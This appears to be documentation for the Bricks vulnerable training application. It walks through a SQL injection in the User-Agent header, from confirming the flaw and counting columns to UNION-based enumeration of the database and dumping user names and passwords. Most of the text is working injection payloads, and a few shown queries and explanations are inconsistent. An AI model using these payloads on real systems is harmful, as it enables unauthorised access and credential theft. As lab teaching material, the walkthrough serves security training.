Bricks Documentation

Content page #4

  • Content page with user agent verification
  • User Agent string is prone to code injection.

Advanced SQL Injection on user agent


URL: bricks/content-4/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:15.0) Gecko/20100101 Firefox/15.0
SQL Query: SELECT * FROM users WHERE ua='Mozilla/5.0 (Windows NT 6.2; rv:15.0) Gecko/20100101 Firefox/15.0'

Here, the User-Agent parameter is accepting input from the client browser. Normally, this value can not be modified. However, using Mantra or ZAP this parameter can be modified according to user's taste to perform code injection testing.


URL: bricks/content-4/index.php
User-Agent: Brick_Browser
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser'

Here, the User-Agent parameter is modified and the page returns a valid result.


User-Agent: Brick_Browser'
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser''

There is no output on the page but some error messages. That means the User-Agent parameter is vulnerable to code injection and the code we inserted just broke the query. The injected code must be put in a manner that it won't break the complete SQL statement. The next step is to inject specially crafted SQL commands to verify the existence of vulnerability.


User-Agent: Brick_Browser' and 1='1
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' AND 1='1'

The page is displayed without any errors. This is because the added code is a true statement. What if the added statement was not returning a true condition?


User-Agent: Brick_Browser' and 1='2
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' AND 1='2'

Since the injected code contains an always false statement, the web page does not displays any content and is showing an error message saying that user does not exists. This proves that the code injected on to the User-Agent: parameter is actually getting executed.

The injected code can be further modified to perform more advanced functions including obtaining/removing/changing confidential information. However, at the present stage, there are no clear knowledge about the database, version, tables, columns etc. So, these details has to be enumerated first. Finding the number of columns in the current database is relatively easy task.


User-Agent: username=tom' order by 1 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' ORDER BY 1 -- +'

The page displays the content without any issues and there are no error messages.


User-Agent: Brick_Browser' order by 2 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' ORDER BY 2 -- +'

The page displays the content without any issues and there are no error messages. So there exists at least two columns.


User-Agent: Brick_Browser' order by 3 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' ORDER BY 3 -- +'

The page displays the content without any issues and there are no error messages. So there exists at least three columns.

This process has to be repeated by increasing the value till the page shows some changes in the displayed page.

.
.
.
.

User-Agent: Brick_Browser' order by 8 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' ORDER BY 8 -- +'

The page displays the content without any issues and there are no error messages. So there exists at least eight columns.


User-Agent: Brick_Browser' order by 9 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' ORDER BY 9 -- +'

This time the pages displays some error, so 9th column does not exists. This confirms that there are only 8 columns.

A union select statement has to be made accordingly to find out the columns which are vulnerable out of the 8 columns.


User-Agent: Brick_Browser' UNION SELECT 1,2,3,4,5,6,7,8 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8 -- +'

This time the page is not showing anything special rather than usual content. This is because the page is showing only the first result since it treats only the first line of the result. If that is the case, the injected code should be modified a little to make only the second line valid. There are many ways to do that.


User-Agent:Brick_Browser' UNION SELECT 1,2,3,4,5,6,7,8 limit 1,1 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8 LIMIT 1, 1 -- +'

Now, the page is displaying some numbers instead of the actual user details. These are the corresponding number of columns that are vulnerable.


User-Agent: Brick_Browser' UNION SELECT database(),version(),user(),4,5,6,7,8 limit 1,1 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' UNION SELECT database(), version(), 3, 4, 5, 6, 7, 8 LIMIT 1, 1 -- +'

The number 1 has been replaced by the name of the current database, which is bricks
The number 2 has been replaced by the version of the current database, which is 5.5.9-log


User-Agent: Brick_Browser' UNION SELECT user(),2,3,4,5,6,7,8 limit 1,1 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' UNION SELECT user(), 2, 3, 4, 5, 6, 7, 8 LIMIT 1, 1 -- +'

The number 1 has been replaced by the user name of the current database, which is root@localhost

Now, the tables on the current database has to be enumerated.


User-Agent: Brick_Browser' UNION SELECT group_concat(table_name,0x0a),2,3,4,5,6,7,8 from information_schema.tables where table_schema=database() LIMIT 1,1 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' UNION SELECT group_concat(TABLE_NAME,0x0a), 2, 3, 4, 5, 6, 7, 8 FROM information_schema.tables WHERE table_schema=database() LIMIT 1, 1 -- +'

Since there is only one table in the bricks database, that information is displayed. Next objective is to find out the columns in the users.


User-Agent: Brick_Browser' UNION SELECT group_concat(column_name,0x0a),2,3,4,5,6,7,8 from information_schema.columns where table_name='users' LIMIT 1, 1 -- +
SQL Query: Brick_Browser' UNION SELECT group_concat(column_name,0x0a),2,3,4,5,6,7,8 from information_schema.columns where table_name='users' LIMIT 1, 1 -- +

Since we are making use of group_concat(), all the column names are diplayed on screen. Column names are: idusers, name, email, password, ua, ref, host, lang. The name and password are the most interesting columns. So, the next injected code should be for dumping the data from those columns. 0x0a represents a space and is put there to make is easy to differentiate between the names of columns.


User-Agent: Brick_Browser' UNION SELECT group_concat(name,0x0a,password),2,3,4,5,6,7,8 from users LIMIT 1,1 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' UNION SELECT group_concat(name,0x0a,password), 2, 3, 4, 5, 6, 7, 8 FROM users LIMIT 1, 1 -- +'

This fetches all names and passwords from the users table. 0x0a represents a space and is put there to make is easy to differentiate between the username and password.